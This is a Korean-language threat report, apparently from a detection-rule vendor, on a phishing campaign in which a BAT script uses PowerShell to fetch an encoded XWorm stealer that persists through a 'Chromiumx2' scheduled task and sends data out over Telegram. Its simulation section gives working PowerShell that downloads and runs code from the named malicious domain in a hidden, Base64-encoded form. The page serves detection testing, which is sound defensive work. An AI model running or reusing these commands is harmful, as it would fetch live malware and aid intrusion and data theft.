더 많은 악성 코드를 전달하는 악성 스크립트
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
피싱 이메일은 BAT 스크립트를 포함한 악성 첨부 파일을 전달하며, 이는 PowerShell을 실행하여 Base64로 인코딩된 페이로드를 다운로드합니다. 디코딩 후, 페이로드는 호스트를 지문으로 찍고 텔레그램 봇을 통해 수집된 데이터를 탈취하는 .NET 스틸러 XWorm으로 해석됩니다. 지속성은 드롭된 실행 파일을 반복적으로 실행하는 예약된 작업을 만들어 확립됩니다. 이 운영은 가짜 이미지 호스팅 미끼 및 페이로드 스테이징에 사용된 적어도 하나의 손상된 IP를 포함한 여러 인프라 요소에 의존합니다.
조사
BAT 스크립트 검토 결과 공격자가 제어하는 도메인에서 PNG 모양의 파일을 가져오는 PowerShell 원라이너가 노출되었습니다. 포함된 Base64 콘텐츠는 처리, 역전, 디코딩되어 .NET 실행 파일을 재구축합니다. 바이너리 분석 결과 악성코드는 Chromiumx2 라는 이름으로 예약된 작업을 등록하고, 커맨드 및 컨트롤과 데이터 유출을 위해 텔레그램의 API를 사용합니다. 조사자들은 실행 중 참조된 호스팅 도메인, 관련 IP 주소 및 텔레그램 API 엔드포인트를 포함한 주요 네트워크 지표를 추출했습니다.
완화
이메일 첨부 파일 또는 사용자 다운로드 디렉토리에서 유래한 신뢰할 수 없는 BAT 및 PowerShell 콘텐츠의 실행을 방지합니다. 응용 프로그램 허용 목록을 적용하여 예약 작업 생성을 제한하고 의심스러운 새 작업 등록에 플래그를 지정하세요. Telegram API 엔드포인트에 대한 아웃바운드 액세스를 모니터링하고 가능할 경우 제한하며, 식별된 악성 도메인을 DNS/프록시 계층에서 차단하세요. 끝점 탐지를 최신 관찰 지표와 스크립트 기반 다운로드 패턴으로 업데이트하십시오.
대응
Chromiumx2 예약 작업이나 Chromiumx2.exe가 관찰된 끝점을 격리하십시오. 예약 작업을 제거하고 악성 바이너리를 삭제하며, 포렌식 범위를 위해 아티팩트(스크립트, 디코딩된 페이로드, 작업 XML 및 관련 로그)를 수집하세요. 동일한 작업 이름, 유사한 PowerShell 디코드 동작 및 텔레그램 기반 트래픽을 환경 전반에서 추적하세요. 잠재적으로 노출된 자격 증명을 재설정하고 피싱 첨부 파일에 대해 사용자에게 알림을 보내 반복 실행을 줄이세요.
공격 흐름
탐지
텔레그램을 커맨드 및 컨트롤 채널로 오용했을 가능성 있음 (via dns_query)
보기
의심스러운 프로세스가 커맨드 라인에서 URL을 사용 (via cmdline)
보기
PowerShell을 통해 다운로드 또는 업로드 (via cmdline)
보기
Schtasks가 의심스러운 디렉토리 / 바이너리 / 스크립트를 가리킴 (via cmdline)
보기
의심스러운 PowerShell 문자열 (via powershell)
보기
공용 사용자 프로필 내 의심스러운 파일 (via file_event)
보기
의심스러운 PowerShell 문자열 (via cmdline)
보기
지속성을 위한 Schtasks 또는 AT 사용 가능성 (via cmdline)
보기
탐지할 IOCs (SourceIP): 더 많은 악성 활동을 전달하는 악성 스크립트
보기
탐지할 IOCs (DestinationIP): 더 많은 악성 활동을 전달하는 악성 스크립트
보기
Chromiumx2 지속성을 위한 예약 작업 생성 [Windows 프로세스 생성]
보기
Base64로 인코딩된 PowerShell 페이로드 가져오기 탐지 [Windows Powershell]
보기
시뮬레이션 실행
필수 조건: 텔레메트리 및 베이스라인 사전 검사 통과 필요.
-
공격 서사 및 명령:
공격자는 손상된 웹 서버에서 악성 페이로드를 다운로드하고 실행하려고 합니다. 기존의 서명 탐지를 회피하기 위해, 다운로드 및 실행 논리를 하나의 Base64 문자열 내에 임베드하고 PowerShell을-EncodedCommand로 호출합니다. 이 명령은 탐지 규칙이 모니터링하는 정확한 URL을 참조합니다 (https://uniworldrivercruises-co.uk/optimized_MSI.png).-
악성 페이로드 인코딩 (수신한 스크립트를 실행하는 간단한 다운로드 프로그램):
$payload = "IEX (New-Object Net.WebClient).DownloadString('https://uniworldrivercruises-co.uk/optimized_MSI.png')" $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) Write-Host $b64결과 B64 (예시):
SQBFAFgAIABpAG4AIABOAGUAdwAtAE8AbgB0AGkAYwBzACA...(잘림). -
인코딩된 명령 실행:
powershell -EncodedCommand SQBFAFgAIABpAG4AIABOAGUAdwAtAE8AbgB0AGkAYwBzACA...
이 한 줄은 Sigma 규칙이 기대하는 정확한 텔레메트리를 생성합니다: PowerShell 프로세스,
-EncodedCommand플래그 및 디코딩된 스크립트 블록 내부의 악성 URL. -
-
회귀 테스트 스크립트:
#------------------------------------------------- # 감지 규칙을 트리거하기 위한 회귀 스크립트 #------------------------------------------------- # 1. 악성 페이로드 생성 $payload = "IEX (New-Object Net.WebClient).DownloadString('https://uniworldrivercruises-co.uk/optimized_MSI.png')" $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) # 2. 인코딩된 PowerShell 명령을 통해 페이로드 실행 Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -WindowStyle Hidden -EncodedCommand $b64" ` -WindowStyle Hidden -PassThru | Out-Null Write-Host "Malicious encoded command executed." #------------------------------------------------- -
정리 명령:
# 임시 파일 제거 (페이로드가 직접 스트리밍되어 예상되지 않음) # 테스트에 의해 시작된 모든 숨겨진 PowerShell 프로세스 종료 Get-Process -Name "powershell" -ErrorAction SilentlyContinue | Where-Object {$_.StartInfo.Arguments -match "-EncodedCommand"} | Stop-Process -Force Write-Host "Cleanup complete."